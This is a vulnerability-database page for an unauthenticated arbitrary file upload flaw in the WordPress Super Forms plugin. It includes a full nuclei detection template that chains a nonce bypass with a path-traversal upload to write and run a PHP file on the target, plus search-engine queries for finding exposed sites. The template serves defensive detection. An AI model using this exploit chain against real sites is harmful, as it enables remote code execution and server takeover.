HexBrain

Browse / CVEs / CVE-2026-14894

CVE-2026-14894· developer-developer / super-forms· CWE-434

WordPress Super Forms <= 6.3.313 - Arbitrary File Upload

criticalseverity
9.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.

Impact

Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.

Fix

Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/themes"
Send: POST /wp-admin/admin-ajax.php?action=super_create_nonce
Send: POST /wp-admin/admin-ajax.php?action=super_submit_form
Positive when: status_code == 200 || status_code == 302
Send: GET /wp-content/themes/{{wptheme}}/{{rand}}.php
Positive when: status_code == 200 and contains(body, "CVE-2026-14894-sfrce")

Run it with nuclei: nuclei -id CVE-2026-14894 -u <target>

The full check
id: CVE-2026-14894

info:
  name: WordPress Super Forms <= 6.3.313 - Arbitrary File Upload
  author: pdteam,0x_Akoko
  severity: critical
  description: |
    Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.
  impact: |
    Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.
  remediation: |
    Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100
    - https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability
    - https://github.com/shinthink/CVE-2026-14894
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14894
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-14894
    epss-score: 0.03484
    epss-percentile: 0.89218
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: developer-developer
    product: super-forms
    framework: wordpress
    fofa-query: body="wp-content/plugins/super-forms"
    shodan-query: http.html:"wp-content/plugins/super-forms"
  tags: cve,cve2026,wordpress,wp-plugin,wp,file-upload,rce,intrusive,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        words:
          - "/wp-content/themes"
        internal: true

    extractors:
      - type: regex
        name: wptheme
        group: 1
        regex:
          - 'wp-content/themes/([a-zA-Z0-9_-]+)/'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=super_create_nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=super_create_nonce

    extractors:
      - type: regex
        part: body
        name: sfnonce
        regex:
          - '([a-f0-9]{10,})'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=super_submit_form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sf_nonce={{sfnonce}}&form_id=1&data=%7B%22sf_upload_field%22%3A%7B%22type%22%3A%22files%22%2C%22files%22%3A%5B%7B%22value%22%3A%22../../../../../themes/{{wptheme}}/{{rand}}.php%22%2C%22datauristring%22%3A%22data%3Aimage/png%3Bbase64%2CPD9waHAgZWNobyAnQ1ZFLTIwMjYtMTQ4OTQtc2ZyY2UnOyBkaWUoKTsgPz4%3D%22%2C%22name%22%3A%22{{rand}}.php%22%2C%22label%22%3A%22attachment%22%7D%5D%7D%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        GET /wp-content/themes/{{wptheme}}/{{rand}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-14894-sfrce")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from